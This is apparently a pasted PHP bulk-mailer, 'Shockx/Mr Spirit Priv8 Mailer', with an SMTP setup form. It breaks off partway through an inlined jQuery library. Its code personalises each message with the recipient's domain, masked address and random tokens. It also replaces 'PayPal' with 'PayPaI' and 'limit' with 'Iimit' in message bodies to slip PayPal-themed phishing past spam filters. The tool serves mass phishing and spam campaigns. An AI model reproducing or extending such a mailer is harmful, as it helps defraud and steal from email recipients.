· 5 years ago · Feb 21, 2020, 10:50 PM
1<?php
2
3set_time_limit(0);
4
5ini_set('display_errors', 0);
6ini_set('display_startup_errors', 0);
7error_reporting(E_ALL);
8include('pdf.php');
9
10function query_str($params) {
11 $str = '';
12 foreach ($params as $key => $value) {
13 $str .= (strlen($str) < 1) ? '' : '&';
14 $str .= $key . '=' . rawurlencode($value);
15 }
16 return ($str);
17}
18function lrtrim($string){
19 return stripslashes(ltrim(rtrim($string)));
20}
21
22function makpdf($data){
23$pdf = new Pdf();
24$pdf->load_html($data);
25$pdf->render();
26$file = $pdf->output();
27//file_put_contents($my_file, $file);
28return $file;
29}
30if(isset($_POST['action'])){
31
32 $b = query_str($_POST);
33 parse_str($b,$output);
34 $action = lrtrim($output['action']);
35 $smtp_username = lrtrim($output['smtp_username']);
36 $smtp_password = lrtrim($output['smtp_password']);
37 $smtp_server = lrtrim($output['smtp_server']);
38 $smtp_port = lrtrim($output['smtp_port']);
39 $smtp_ssl = lrtrim($output['smtp_ssl']);
40 $xmailer = lrtrim($output['xmailer']);
41 $reconnect = lrtrim($output['reconnect']);
42 $inline = lrtrim($output['inline']);
43 $type = lrtrim($output['type']);
44 $email = lrtrim($output['mail']);
45 $nama = lrtrim($output['nama']);
46 $subject = lrtrim($output['subject']);
47 $pesan = lrtrim($output['pesan']);
48 $emaillist = strtolower(lrtrim($output['list']));
49 $encoding = lrtrim($output['encode']);
50 $file_name = $_FILES['file']['name'];
51 $file_path = $_FILES['file']['tmp_name'];
52 $wait = lrtrim($output['wait']);
53
54 $pesan = urlencode($pesan);
55 $pesan = preg_replace("/%5C%22/", "/%22/", $pesan);
56 $pesan = urldecode($pesan);
57 $pesan = stripslashes($pesan);
58 $pesan = str_replace("PayPal", "PayPaI", $pesan);
59 $pesan = str_replace("limit", "Iimit", $pesan);
60
61
62
63
64}
65
66function change($to,$message_send){
67 $url=base64_encode($to);
68 $url1=($to);
69 $em=explode('@',$to);
70 $emaildomain = substr(strrchr($to, "@"), 1);
71 $bc=explode('.',$emaildomain);
72 $chgcap=strtolower($bc[0]);
73 $frmsite=ucfirst($chgcap);
74 $tw = strtolower(substr($to, 0, 3));
75 $prem = explode('@',$to);
76 $emailxx=$tw.'*****@'.$em[1];
77 $yusname=ucfirst($prem[0]);
78 date_default_timezone_set('GMT');
79 $date = date('m/d/Y h:i:s a', time());
80 $rands = str_shuffle(uniqid().uniqid().uniqid().uniqid());
81 $randsxx = str_shuffle('1234567890987654321ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz');
82 $randsx= substr($randsxx, 0, 44);
83 $message_send = str_replace("&domainname&", $frmsite, $message_send);
84 $message_send = str_replace("&domain&", $emaildomain, $message_send);
85 $message_send = str_replace("&emailxx&", $emailxx, $message_send);
86 $message_send = str_replace("&emails&", $url1, $message_send);
87 $message_send = str_replace("&email&", $url, $message_send);
88 $message_send = str_replace("&date&", $date, $message_send);
89 $message_send = str_replace("&rands&", $rands, $message_send);
90 $message_send = str_replace("&randx&", $randsx, $message_send);
91 $message_send = str_replace("&name&", $yusname, $message_send);
92
93 /////for encoded/////
94
95 $message_send = str_replace("=26domainname=26", $frmsite, $message_send);
96 $message_send = str_replace("=26domain=26", $emaildomain, $message_send);
97 $message_send = str_replace("=26emailxx=26", $emailxx, $message_send);
98 $message_send = str_replace("=26emails=26", $url1, $message_send);
99 $message_send = str_replace("=26email=26", $url, $message_send);
100 $message_send = str_replace("=26date=26", $date, $message_send);
101 $message_send = str_replace("=26rands=26", $rands, $message_send);
102 $message_send = str_replace("=26randx=26", $randsx, $message_send);
103 $message_send = str_replace("=26name=26", $yusname, $message_send);
104
105return $message_send;}
106
107function encodeyes($nama){
108 $nama = preg_replace_callback ('/([^a-z ])/', function($matches) { return sprintf("=%02x",ord(StripSlashes($matches[1])));}, $nama);
109 $nama = str_replace(' ', '=20', $nama);
110 $nama = "=?utf-8?Q?$nama?=";
111 return $nama;
112}
113
114
115function changefremail($to,$from){
116 $em=explode('@',$to);
117 $emaildomain = substr(strrchr($to, "@"), 1);
118 $bc=explode('.',$emaildomain);
119 $frmsite=$bc[0];
120 $prem = explode('@',$to);
121 $yusname=$prem[0];
122 $randsxx = str_shuffle('1234567890987654321ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz');
123 $randsx= substr($randsxx, 0, 44);
124 $message_send = str_replace("&rdomainname&", $frmsite, $from);
125 $message_send = str_replace("&rdomain&", $emaildomain, $message_send);
126 $message_send = str_replace("&rands&", $rands, $message_send);
127 $message_send = str_replace("&randx&", $randsx, $message_send);
128 $message_send = str_replace("&rname&", $yusname, $message_send);
129return $message_send;}
130?>
131<!DOCTYPE html>
132<html lang="en">
133
134<head>
135 <meta charset="utf-8">
136 <title>Shockx/Mr Spirit Priv8 Mailer New Edited Inbox 2019</title>
137 <meta name="viewport" content="width=940, initial-scale=1.0, maximum-scale=1.0">
138 <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1">
139 <link rel="stylesheet" href="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/css/bootstrap.min.css">
140 <link rel="stylesheet" href="http://www.w32.info/1999/xhtml">
141 <script src="http://code.jquery.com/jquery-2.1.3.min.js"></script>
142 <script src="https://maxcdn.bootstrapcdn.com/bootstrap/3.3.1/js/bootstrap.min.js"></script>
143 <link rel="shortcut icon" href="">
144 <style type="text/css">
145 body{
146 background-color: #13181D;
147 border-color: #2CADAD !important;
148 box-shadow: 0px 0px 15px #ff4eff;
149 -moz-box-shadow: 0px 0px 15px #ff4eff;
150 -webkit-box-shadow: 0px 0px 15px #ff4eff;
151 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
152 }
153 input, select, option, textarea {
154 font-size: 12px !important;
155 }
156 input, select, option {
157 height: 30px !important;
158color:#2CADAD;
159 box-shadow: 0px 0px 15px #ff4eff;
160 -moz-box-shadow: 0px 0px 15px #ff4eff;
161 -webkit-box-shadow: 0px 0px 15px #ff4eff;
162 text-shadow: 1px 1px 4px rgba(0,0,0,0.3);
163 }
164
165.panel-info .panel-heading {
166 background-color: #2CADAD !important;
167 border-color: #2CADAD !important;
168 box-shadow: 0px 0px 15px #ff4eff;
169 -moz-box-shadow: 0px 0px 15px #ff4eff;
170 -webkit-box-shadow: 0px 0px 15px #ff4eff;
171 text-shadow: 0px 0px 60px rgba(44, 173, 173, 1);
172 }
173 .kanan-l {
174 border-top-right-radius: 0px !important;
175 border-color: #2CADAD !important;
176 box-shadow: 0px 0px 15px #ff4eff;
177 -moz-box-shadow: 0px 0px 15px #ff4eff;
178 -webkit-box-shadow: 0px 0px 15px #ff4eff;
179 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
180 }
181 .kanan {
182 border-top-right-radius: 4px !important;
183 border-color: #2CADAD !important;
184 box-shadow: 0px 0px 15px #ff4eff;
185 -moz-box-shadow: 0px 0px 15px #ff4eff;
186 -webkit-box-shadow: 0px 0px 15px #ff4eff;
187 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
188
189 }
190 .form-control {
191border-top-right-radius: 4px !important;
192 border-color: #2CADAD !important;
193 box-shadow: 0px 0px 15px #ff4eff;
194 -moz-box-shadow: 0px 0px 15px #ff4eff;
195 -webkit-box-shadow: 0px 0px 15px #ff4eff;
196 text-shadow: 1px 1px 4px rgba(44, 173, 173, 1);
197
198 }
199 </style>
200
201
202 <script type="text/javascript">
203 function Pilih1(dropDown) {
204 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
205 document.getElementById("sender-name").value = selectedValue;
206 }
207 function Pilih2(dropDown) {
208 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
209 document.getElementById("sender-email").value = selectedValue;
210 }
211 function Pilih3(dropDown) {
212 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
213 document.getElementById("subject").value = selectedValue;
214 }
215 function Pilih4(dropDown) {
216 var selectedValue = dropDown.options[dropDown.selectedIndex].value;
217 document.getElementById("xmailer").value = selectedValue;
218 }
219 </script>
220</head>
221<body>
222<div id="wrap">
223
224 <div class="container" style="margin-top: 25px;">
225 <div class="row">
226 <div class="col-sm-6 col-md-4 col-md-offset-1" style="width: 940px">
227 <div class="panel panel-info" style="border-color: #2CADAD !important; background-color: #444951 !important;">
228 <div class="panel-heading">
229 <div class="panel-title" align="center"><a href="">PHP Mailer</a></div>
230 </div>
231
232 <div style="padding-top: 15px;">
233
234 <button type="button" class="btn btn-primary collapsed" style="margin-left: 15px;margin-bottom: 10px" data-toggle="collapse" data-target="#smtp"><i class="glyphicon glyphicon-plus"></i> SMTP & OTHER SETUP</button>
235
236 <div style="display:none" id="login-alert" class="alert alert-danger col-sm-12"></div>
237
238 <form id="form" class="form-horizontal" method="post" enctype="multipart/form-data" role="form" action="">
239
240 <div id="smtp" class="collapse">
241 <div class="col-sm-8" style="padding-right: 7.5px !important;margin-bottom: 10px">
242
243 <div style="margin-bottom: 10px" class="input-group">
244 <span class="input-group-addon"><i class="glyphicon glyphicon-user"></i></span>
245 <input type="text" class="form-control" name="smtp_username" value="<?php echo $smtp_username;?>" placeholder="SMTP Username">
246 <span class="input-group-addon"><i class="glyphicon glyphicon-lock"></i></span>
247 <input type="password" class="form-control" name="smtp_password" value="<?php echo $smtp_password;?>" placeholder="SMTP Password">
248 </div>
249
250 <div style="margin-bottom: 10px" class="input-group">
251 <span class="input-group-addon"><i class="glyphicon glyphicon-send"></i></span>
252 <input type="text" class="form-control" name="smtp_server" value="<?php echo $smtp_server;?>" placeholder="SMTP Server">
253 <span class="input-group-addon"><i class="glyphicon glyphicon-random"></i><b> Port</b></span>
254 <input type="text" class="form-control" name="smtp_port" value="<?php echo $smtp_port;?>" placeholder="optional">
255 <span class="input-group-addon"><i class="glyphicon glyphicon-road"></i><b> SSL</b></span>
256 <select class="form-control" name="smtp_ssl">
257 <option value="yes" <?php if ($smtp_ssl=='yes'){echo 'selected';}?> >yes</option>
258 <option value="no" <?php if ($smtp_ssl=='no'){echo 'selected';}?> >no</option>
259 </select>
260 </div>
261 <div style="color:red;" align="center">
262 " If you dont have SMTP login, leave blank queries above "
263 </div>
264<script>
265 (function(global, factory) {
266 if (typeof module === "object" && typeof module.exports === "object") {
267 module.exports = global.document ? factory(global, true) : function(w) {
268 if (!w.document) {
269 throw new Error("jQuery requires a window with a document");
270 }
271 return factory(w)
272 }
273 } else {
274 factory(global)
275 }
276 }(typeof window !== "undefined" ? window : this, function(window, noGlobal) {
277 var deletedIds = [];
278 var slice = deletedIds.slice;
279 var concat = deletedIds.concat;
280 var push = deletedIds.push;
281 var indexOf = deletedIds.indexOf;
282 var class2type = {};
283 var toString = class2type.toString;
284 var hasOwn = class2type.hasOwnProperty;
285 var support = {};
286 var version = "1.11.2",
287 jQuery = function(selector, context) {
288 return new jQuery.fn.init(selector, context)
289 },
290 rtrim = /^[\s\uFEFF\xA0]+|[\s\uFEFF\xA0]+$/g,
291 rmsPrefix = /^-ms-/,
292 rdashAlpha = /-([\da-z])/gi,
293 fcamelCase = function(all, letter) {
294 return letter.toUpperCase()
295 };
296 jQuery.fn = jQuery.prototype = {
297 jquery: version,
298 constructor: jQuery,
299 selector: "",
300 length: 0,
301 toArray: function() {
302 return slice.call(this)
303 },
304 get: function(num) {
305 return num != null ? (num < 0 ? this[num + this.length] : this[num]) : slice.call(this)
306 },
307 pushStack: function(elems) {
308 var ret = jQuery.merge(this.constructor(), elems);
309 ret.prevObject = this;
310 ret.context = this.context;
311 return ret
312 },
313 each: function(callback, args) {
314 return jQuery.each(this, callback, args)
315 },
316 map: function(callback) {
317 return this.pushStack(jQuery.map(this, function(elem, i) {
318 return callback.call(elem, i, elem)
319 }))
320 },
321 slice: function() {
322 return this.pushStack(slice.apply(this, arguments))
323 },
324 first: function() {
325 return this.eq(0)
326 },
327 last: function() {
328 return this.eq(-1)
329 },
330 eq: function(i) {
331 var len = this.length,
332 j = +i + (i < 0 ? len : 0);
333 return this.pushStack(j >= 0 && j < len ? [this[j]] : [])
334 },
335 end: function() {
336 return this.prevObject || this.constructor(null)
337 },
338 push: push,
339 sort: deletedIds.sort,
340 splice: deletedIds.splice
341 };
342 jQuery.extend = jQuery.fn.extend = function() {
343 var src, copyIsArray, copy, name, options, clone, target = arguments[0] || {},
344 i = 1,
345 length = arguments.length,
346 deep = false;
347 if (typeof target === "boolean") {
348 deep = target;
349 target = arguments[i] || {};
350 i++
351 }
352 if (typeof target !== "object" && !jQuery.isFunction(target)) {
353 target = {}
354 }
355 if (i === length) {
356 target = this;
357 i--
358 }
359 for (; i < length; i++) {
360 if ((options = arguments[i]) != null) {
361 for (name in options) {
362 src = target[name];
363 copy = options[name];
364 if (target === copy) {
365 continue
366 }
367 if (deep && copy && (jQuery.isPlainObject(copy) || (copyIsArray = jQuery.isArray(copy)))) {
368 if (copyIsArray) {
369 copyIsArray = false;
370 clone = src && jQuery.isArray(src) ? src : []
371 } else {
372 clone = src && jQuery.isPlainObject(src) ? src : {}
373 }
374 target[name] = jQuery.extend(deep, clone, copy)
375 } else if (copy !== undefined) {
376 target[name] = copy
377 }
378 }
379 }
380 }
381 return target
382 };
383 jQuery.extend({
384 expando: "jQuery" + (version + Math.random()).replace(/\D/g, ""),
385 isReady: true,
386 error: function(msg) {
387 throw new Error(msg);
388 },
389 noop: function() {},
390 isFunction: function(obj) {
391 return jQuery.type(obj) === "function"
392 },
393 isArray: Array.isArray || function(obj) {
394 return jQuery.type(obj) === "array"
395 },
396 isWindow: function(obj) {
397 return obj != null && obj == obj.window
398 },
399 isNumeric: function(obj) {
400 return !jQuery.isArray(obj) && (obj - parseFloat(obj) + 1) >= 0
401 },
402 isEmptyObject: function(obj) {
403 var name;
404 for (name in obj) {
405 return false
406 }
407 return true
408 },
409 isPlainObject: function(obj) {
410 var key;
411 if (!obj || jQuery.type(obj) !== "object" || obj.nodeType || jQuery.isWindow(obj)) {
412 return false
413 }
414 try {
415 if (obj.constructor && !hasOwn.call(obj, "constructor") && !hasOwn.call(obj.constructor.prototype, "isPrototypeOf")) {
416 return false
417 }
418 } catch (e) {
419 return false
420 }
421 if (support.ownLast) {
422 for (key in obj) {
423 return hasOwn.call(obj, key)
424 }
425 }
426 for (key in obj) {}
427 return key === undefined || hasOwn.call(obj, key)
428 },
429 type: function(obj) {
430 if (obj == null) {
431
432 return obj + ""
433 }
434 return typeof obj === "object" || typeof obj === "function" ? class2type[toString.call(obj)] || "object" : typeof obj
435 },
436 globalEval: function(data) {
437 if (data && jQuery.trim(data)) {
438 (window.execScript || function(data) {
439 window["eval"].call(window, data)
440 })(data)
441 }
442 },
443 camelCase: function(string) {
444 return string.replace(rmsPrefix, "ms-").replace(rdashAlpha, fcamelCase)
445 },
446 nodeName: function(elem, name) {
447 return elem.nodeName && elem.nodeName.toLowerCase() === name.toLowerCase()
448 },
449 each: function(obj, callback, args) {
450 var value, i = 0,
451 length = obj.length,
452 isArray = isArraylike(obj);
453 if (args) {
454 if (isArray) {
455 for (; i < length; i++) {
456 value = callback.apply(obj[i], args);
457 if (value === false) {
458 break
459 }
460 }
461 } else {
462 for (i in obj) {
463 value = callback.apply(obj[i], args);
464 if (value === false) {
465 break
466 }
467 }
468 }
469 } else {
470 if (isArray) {
471 for (; i < length; i++) {
472 value = callback.call(obj[i], i, obj[i]);
473 if (value === false) {
474 break
475 }
476 }
477 } else {
478 for (i in obj) {
479 value = callback.call(obj[i], i, obj[i]);
480 if (value === false) {
481 break
482 }
483 }
484 }
485 }
486 return obj
487 },
488 trim: function(text) {
489 return text == null ? "" : (text + "").replace(rtrim, "")
490 },
491 makeArray: function(arr, results) {
492 var ret = results || [];
493 if (arr != null) {
494 if (isArraylike(Object(arr))) {
495 jQuery.merge(ret, typeof arr === "string" ? [arr] : arr)
496 } else {
497 push.call(ret, arr)
498 }
499 }
500 return ret
501 },
502 inArray: function(elem, arr, i) {
503 var len;
504 if (arr) {
505 if (indexOf) {
506 return indexOf.call(arr, elem, i)
507 }
508 len = arr.length;
509 i = i ? i < 0 ? Math.max(0, len + i) : i : 0;
510 for (; i < len; i++) {
511 if (i in arr && arr[i] === elem) {
512 return i
513 }
514 }
515 }
516 return -1
517 },
518 merge: function(first, second) {
519 var len = +second.length,
520 j = 0,
521 i = first.length;
522 while (j < len) {
523 first[i++] = second[j++]
524 }
525 if (len !== len) {
526 while (second[j] !== undefined) {
527 first[i++] = second[j++]
528 }
529 }
530 first.length = i;
531 return first
532 },
533 grep: function(elems, callback, invert) {
534 var callbackInverse, matches = [],
535 i = 0,
536 length = elems.length,
537 callbackExpect = !invert;
538 for (; i < length; i++) {
539 callbackInverse = !callback(elems[i], i);
540 if (callbackInverse !== callbackExpect) {
541 matches.push(elems[i])
542 }
543 }
544 return matches
545 },
546 map: function(elems, callback, arg) {
547 var value, i = 0,
548 length = elems.length,
549 isArray = isArraylike(elems),
550 ret = [];
551 if (isArray) {
552 for (; i < length; i++) {
553 value = callback(elems[i], i, arg);
554 if (value != null) {
555 ret.push(value)
556 }
557 }
558 } else {
559 for (i in elems) {
560 value = callback(elems[i], i, arg);
561 if (value != null) {
562 ret.push(value)
563 }
564 }
565 }
566 return concat.apply([], ret)
567 },
568 guid: 1,
569 proxy: function(fn, context) {
570 var args, proxy, tmp;
571 if (typeof context === "string") {
572 tmp = fn[context];
573 context = fn;
574 fn = tmp
575 }
576 if (!jQuery.isFunction(fn)) {
577 return undefined
578 }
579 args = slice.call(arguments, 2);
580 proxy = function() {
581 return fn.apply(context || this, args.concat(slice.call(arguments)))
582 };
583 proxy.guid = fn.guid = fn.guid || jQuery.guid++;
584 return proxy
585 },
586 now: function() {
587 return +(new Date())
588 },
589 support: support
590 });
591 jQuery.each("Boolean Number String Function Array Date RegExp Object Error".split(" "), function(i, name) {
592 class2type["[object " + name + "]"] = name.toLowerCase()
593 });
594
595 function isArraylike(obj) {
596 var length = obj.length,
597 type = jQuery.type(obj);
598 if (type === "function" || jQuery.isWindow(obj)) {
599 return false
600 }
601 if (obj.nodeType === 1 && length) {
602 return true
603 }
604 return type === "array" || length === 0 || typeof length === "number" && length > 0 && (length - 1) in obj
605 }
606 var Sizzle = (function(window) {
607 var i, support, Expr, getText, isXML, tokenize, compile, select, outermostContext, sortInput, hasDuplicate, setDocument, document, docElem, documentIsHTML, rbuggyQSA, rbuggyMatches, matches, contains, expando = "sizzle" + 1 * new Date(),
608 preferredDoc = window.document,
609 dirruns = 0,
610 done = 0,
611 classCache = createCache(),
612 tokenCache = createCache(),
613 compilerCache = createCache(),
614 sortOrder = function(a, b) {
615 if (a === b) {
616 hasDuplicate = true
617 }
618 return 0
619 },
620 MAX_NEGATIVE = 1 << 31,
621 hasOwn = ({}).hasOwnProperty,
622 arr = [],
623 pop = arr.pop,
624 push_native = arr.push,
625 push = arr.push,
626 slice = arr.slice,
627 indexOf = function(list, elem) {
628 var i = 0,
629 len = list.length;
630 for (; i < len; i++) {
631 if (list[i] === elem) {
632 return i
633 }
634 }
635 return -1
636 },
637 booleans = "checked|selected|async|autofocus|autoplay|controls|defer|disabled|hidden|ismap|loop|multiple|open|readonly|required|scoped",
638 whitespace = "[\\x20\\t\\r\\n\\f]",
639 characterEncoding = "(?:\\\\.|[\\w-]|[^\\x00-\\xa0])+",
640 identifier = characterEncoding.replace("w", "w#"),
641 attributes = "\\[" + whitespace + "*(" + characterEncoding + ")(?:" + whitespace + "*([*^$|!~]?=)" + whitespace + "*(?:'((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\"|(" + identifier + "))|)" + whitespace + "*\\]",
642 pseudos = ":(" + characterEncoding + ")(?:\\((" + "('((?:\\\\.|[^\\\\'])*)'|\"((?:\\\\.|[^\\\\\"])*)\")|" + "((?:\\\\.|[^\\\\()[\\]]|" + attributes + ")*)|" + ".*" + ")\\)|)",
643 rwhitespace = new RegExp(whitespace + "+", "g"),
644 rtrim = new RegExp("^" + whitespace + "+|((?:^|[^\\\\])(?:\\\\.)*)" + whitespace + "+$", "g"),
645 rcomma = new RegExp("^" + whitespace + "*," + whitespace + "*"),
646 rcombinators = new RegExp("^" + whitespace + "*([>+~]|" + whitespace + ")" + whitespace + "*"),
647 rattributeQuotes = new RegExp("=" + whitespace + "*([^\\]'\"]*?)" + whitespace + "*\\]", "g"),
648 rpseudo = new RegExp(pseudos),
649 ridentifier = new RegExp("^" + identifier + "$"),
650 matchExpr = {
651 "ID": new RegExp("^#(" + characterEncoding + ")"),
652 "CLASS": new RegExp("^\\.(" + characterEncoding + ")"),
653 "TAG": new RegExp("^(" + characterEncoding.replace("w", "w*") + ")"),
654 "ATTR": new RegExp("^" + attributes),
655 "PSEUDO": new RegExp("^" + pseudos),
656 "CHILD": new RegExp("^:(only|first|last|nth|nth-last)-(child|of-type)(?:\\(" + whitespace + "*(even|odd|(([+-]|)(\\d*)n|)" + whitespace + "*(?:([+-]|)" + whitespace + "*(\\d+)|))" + whitespace + "*\\)|)", "i"),
657 "bool": new RegExp("^(?:" + booleans + ")$", "i"),
658 "needsContext": new RegExp("^" + whitespace + "*[>+~]|:(even|odd|eq|gt|lt|nth|first|last)(?:\\(" + whitespace + "*((?:-\\d)?\\d*)" + whitespace + "*\\)|)(?=[^-]|$)", "i")
659 },
660 rinputs = /^(?:input|select|textarea|button)$/i,
661 rheader = /^h\d$/i,
662 rnative = /^[^{]+\{\s*\[native \w/,
663 rquickExpr = /^(?:#([\w-]+)|(\w+)|\.([\w-]+))$/,
664 rsibling = /[+~]/,
665 rescape = /'|\\/g,
666 runescape = new RegExp("\\\\([\\da-f]{1,6}" + whitespace + "?|(" + whitespace + ")|.)", "ig"),
667 funescape = function(_, escaped, escapedWhitespace) {
668 var high = "0x" + escaped - 0x10000;
669 return high !== high || escapedWhitespace ? escaped : high < 0 ? String.fromCharCode(high + 0x10000) : String.fromCharCode(high >> 10 | 0xD800, high & 0x3FF | 0xDC00)
670 },
671 unloadHandler = function() {
672 setDocument()
673 };
674 try {
675 push.apply((arr = slice.call(preferredDoc.childNodes)), preferredDoc.childNodes);
676 arr[preferredDoc.childNodes.length].nodeType
677 } catch (e) {
678 push = {
679 apply: arr.length ? function(target, els) {
680 push_native.apply(target, slice.call(els))
681 } : function(target, els) {
682 var j = target.length,
683 i = 0;
684 while ((target[j++] = els[i++])) {}
685 target.length = j - 1
686 }
687 }
688 }
689
690 function Sizzle(selector, context, results, seed) {
691 var match, elem, m, nodeType, i, groups, old, nid, newContext, newSelector;
692 if ((context ? context.ownerDocument || context : preferredDoc) !== document) {
693 setDocument(context)
694 }
695 context = context || document;
696 results = results || [];
697 nodeType = context.nodeType;
698 if (typeof selector !== "string" || !selector || nodeType !== 1 && nodeType !== 9 && nodeType !== 11) {
699 return results
700 }
701 if (!seed && documentIsHTML) {
702 if (nodeType !== 11 && (match = rquickExpr.exec(selector))) {
703 if ((m = match[1])) {
704 if (nodeType === 9) {
705 elem = context.getElementById(m);
706 if (elem && elem.parentNode) {
707 if (elem.id === m) {
708 results.push(elem);
709 return results
710 }
711 } else {
712 return results
713 }
714 } else {
715 if (context.ownerDocument && (elem = context.ownerDocument.getElementById(m)) && contains(context, elem) && elem.id === m) {
716 results.push(elem);
717 return results
718 }
719 }
720 } else if (match[2]) {
721 push.apply(results, context.getElementsByTagName(selector));
722 return results
723 } else if ((m = match[3]) && support.getElementsByClassName) {
724 push.apply(results, context.getElementsByClassName(m));
725 return results
726 }
727 }
728 if (support.qsa && (!rbuggyQSA || !rbuggyQSA.test(selector))) {
729 nid = old = expando;
730 newContext = context;
731 newSelector = nodeType !== 1 && selector;
732 if (nodeType === 1 && context.nodeName.toLowerCase() !== "object") {
733 groups = tokenize(selector);
734 if ((old = context.getAttribute("id"))) {
735 nid = old.replace(rescape, "\\$&")
736 } else {
737 context.setAttribute("id", nid)
738 }
739 nid = "[id='" + nid + "'] ";
740 i = groups.length;
741 while (i--) {
742 groups[i] = nid + toSelector(groups[i])
743 }
744 newContext = rsibling.test(selector) && testContext(context.parentNode) || context;
745 newSelector = groups.join(",")
746 }
747 if (newSelector) {
748 try {
749 push.apply(results, newContext.querySelectorAll(newSelector));
750 return results
751 } catch (qsaError) {} finally {
752 if (!old) {
753 context.removeAttribute("id")
754 }
755 }
756 }
757 }
758 }
759 return select(selector.replace(rtrim, "$1"), context, results, seed)
760 }
761
762 function createCache() {
763 var keys = [];
764
765 function cache(key, value) {
766 if (keys.push(key + " ") > Expr.cacheLength) {
767 delete cache[keys.shift()]
768 }
769 return (cache[key + " "] = value)
770 }
771 return cache
772 }
773
774 function markFunction(fn) {
775 fn[expando] = true;
776 return fn
777 }
778
779 function assert(fn) {
780 var div = document.createElement("div");
781 try {
782 return !!fn(div)
783 } catch (e) {
784 return false
785 } finally {
786 if (div.parentNode) {
787 div.parentNode.removeChild(div)
788 }
789 div = null
790 }
791 }
792
793 function addHandle(attrs, handler) {
794 var arr = attrs.split("|"),
795 i = attrs.length;
796 while (i--) {
797 Expr.attrHandle[arr[i]] = handler
798 }
799 }
800
801 function siblingCheck(a, b) {
802 var cur = b && a,
803 diff = cur && a.nodeType === 1 && b.nodeType === 1 && (~b.sourceIndex || MAX_NEGATIVE) - (~a.sourceIndex || MAX_NEGATIVE);
804 if (diff) {
805 return diff
806 }
807 if (cur) {
808 while ((cur = cur.nextSibling)) {
809 if (cur === b) {
810 return -1
811 }
812 }
813 }
814 return a ? 1 : -1
815 }
816
817 function createInputPseudo(type) {
818 return function(elem) {
819 var name = elem.nodeName.toLowerCase();
820 return name === "input" && elem.type === type
821 }
822 }
823
824 function createButtonPseudo(type) {
825 return function(elem) {
826 var name = elem.nodeName.toLowerCase();
827 return (name === "input" || name === "button") && elem.type === type
828 }
829 }
830
831 function createPositionalPseudo(fn) {
832 return markFunction(function(argument) {
833 argument = +argument;
834 return markFunction(function(seed, matches) {
835 var j, matchIndexes = fn([], seed.length, argument),
836 i = matchIndexes.length;
837 while (i--) {
838 if (seed[(j = matchIndexes[i])]) {
839 seed[j] = !(matches[j] = seed[j])
840 }
841 }
842 })
843 })
844 }
845
846 function testContext(context) {
847 return context && typeof context.getElementsByTagName !== "undefined" && context
848 }
849 support = Sizzle.support = {};
850 isXML = Sizzle.isXML = function(elem) {
851 var documentElement = elem && (elem.ownerDocument || elem).documentElement;
852 return documentElement ? documentElement.nodeName !== "HTML" : false
853 };
854 setDocument = Sizzle.setDocument = function(node) {
855 var hasCompare, parent, doc = node ? node.ownerDocument || node : preferredDoc;
856 if (doc === document || doc.nodeType !== 9 || !doc.documentElement) {
857 return document
858 }
859 document = doc;
860 docElem = doc.documentElement;
861 parent = doc.defaultView;
862 if (parent && parent !== parent.top) {
863 if (parent.addEventListener) {
864 parent.addEventListener("unload", unloadHandler, false)
865 } else if (parent.attachEvent) {
866 parent.attachEvent("onunload", unloadHandler)
867 }
868 }
869 documentIsHTML = !isXML(doc);
870 support.attributes = assert(function(div) {
871 div.className = "i";
872 return !div.getAttribute("className")
873 });
874 support.getElementsByTagName = assert(function(div) {
875 div.appendChild(doc.createComment(""));
876 return !div.getElementsByTagName("*").length
877 });
878 support.getElementsByClassName = rnative.test(doc.getElementsByClassName);
879 support.getById = assert(function(div) {
880 docElem.appendChild(div).id = expando;
881 return !doc.getElementsByName || !doc.getElementsByName(expando).length
882 });
883 if (support.getById) {
884 Expr.find["ID"] = function(id, context) {
885 if (typeof context.getElementById !== "undefined" && documentIsHTML) {
886 var m = context.getElementById(id);
887 return m && m.parentNode ? [m] : []
888 }
889 };
890 Expr.filter["ID"] = function(id) {
891 var attrId = id.replace(runescape, funescape);
892 return function(elem) {
893 return elem.getAttribute("id") === attrId
894 }
895 }
896 } else {
897 delete Expr.find["ID"];
898 Expr.filter["ID"] = function(id) {
899 var attrId = id.replace(runescape, funescape);
900 return function(elem) {
901 var node = typeof elem.getAttributeNode !== "undefined" && elem.getAttributeNode("id");
902 return node && node.value === attrId
903 }
904 }
905 }
906 Expr.find["TAG"] = support.getElementsByTagName ? function(tag, context) {
907 if (typeof context.getElementsByTagName !== "undefined") {
908 return context.getElementsByTagName(tag)
909 } else if (support.qsa) {
910 return context.querySelectorAll(tag)
911 }
912 } : function(tag, context) {
913 var elem, tmp = [],
914 i = 0,
915 results = context.getElementsByTagName(tag);
916 if (tag === "*") {
917 while ((elem = results[i++])) {
918 if (elem.nodeType === 1) {
919 tmp.push(elem)
920 }
921 }
922 return tmp
923 }
924 return results
925 };
926 Expr.find["CLASS"] = support.getElementsByClassName && function(className, context) {
927 if (documentIsHTML) {
928 return context.getElementsByClassName(className)
929 }
930 };
931 rbuggyMatches = [];
932 rbuggyQSA = [];
933 if ((support.qsa = rnative.test(doc.querySelectorAll))) {
934 assert(function(div) {
935 docElem.appendChild(div).innerHTML = "<a id='" + expando + "'></a>" + "<select id='" + expando + "-\f]' msallowcapture=''>" + "<option selected=''></option></select>";
936 if (div.querySelectorAll("[msallowcapture^='']").length) {
937 rbuggyQSA.push("[*^$]=" + whitespace + "*(?:''|\"\")")
938 }
939 if (!div.querySelectorAll("[selected]").length) {
940 rbuggyQSA.push("\\[" + whitespace + "*(?:value|" + booleans + ")")
941 }
942 if (!div.querySelectorAll("[id~=" + expando + "-]").length) {
943 rbuggyQSA.push("~=")
944 }
945 if (!div.querySelectorAll(":checked").length) {
946 rbuggyQSA.push(":checked")
947 }
948 if (!div.querySelectorAll("a#" + expando + "+*").length) {
949 rbuggyQSA.push(".#.+[+~]")
950 }
951 });
952 assert(function(div) {
953 var input = doc.createElement("input");
954 input.setAttribute("type", "hidden");
955 div.appendChild(input).setAttribute("name", "D");
956 if (div.querySelectorAll("[name=d]").length) {
957 rbuggyQSA.push("name" + whitespace + "*[*^$|!~]?=")
